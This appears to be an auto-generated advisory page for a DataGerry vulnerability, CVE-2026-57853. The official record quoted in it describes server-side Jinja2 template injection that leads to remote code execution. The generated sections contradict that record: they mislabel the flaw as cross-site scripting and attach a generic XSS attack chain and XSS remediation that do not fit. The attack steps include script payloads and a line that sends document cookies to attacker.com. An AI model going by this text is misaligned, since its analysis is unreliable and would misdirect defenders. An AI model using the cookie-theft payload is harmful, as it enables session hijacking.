CVE-2026-57853 — DataGerry — CWE-79 · CWE-1336
CVE-2026-57853 is a HIGH severity Cross-Site Scripting (XSS) vulnerability (CWE-79, CWE-1336) (CVSS 8.8/10) affecting DataGerry. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).
📄 Official NVD / MITRE Original Record Text
DataGerry before 3.3.0 contains a server-side template injection vulnerability that allows authenticated attackers with base.docapi.template.add permission to store arbitrary Jinja2 payloads in the template_data field via POST /rest/docapi/template, which is later rendered in a non-sandboxed Jinja2 environment when a user calls GET /rest/docapi/template/<id>/render/<object_id>. Attackers can exploit the standard cycler.__init__.__globals__.os gadget chain to execute arbitrary operating system commands as the DataGerry web process user, confirmed as root in default Docker deployments, achieving remote code execution.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-57853
CVSS 8.8/10 · HIGH · 04.11.2026
CWE: CWE-79, CWE-1336
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: DataGerry before 3.3.0 contains a server-side template injection vulnerability that allows authenticated attackers with base.docapi.template.add permission to store arbitrary Jinja2 payloads in the template_data field via POST /rest/docapi/template, which is later rendered in a non-sandboxed Jinja2 environment when a user calls GET /rest/docapi/template/<id>/render/<object_id>. Attackers can ex…
⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted; service can be completely taken down.
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Add CSP headers, HTML-encode all user input.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
⚠️ Planned maintenance (2 weeks).
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]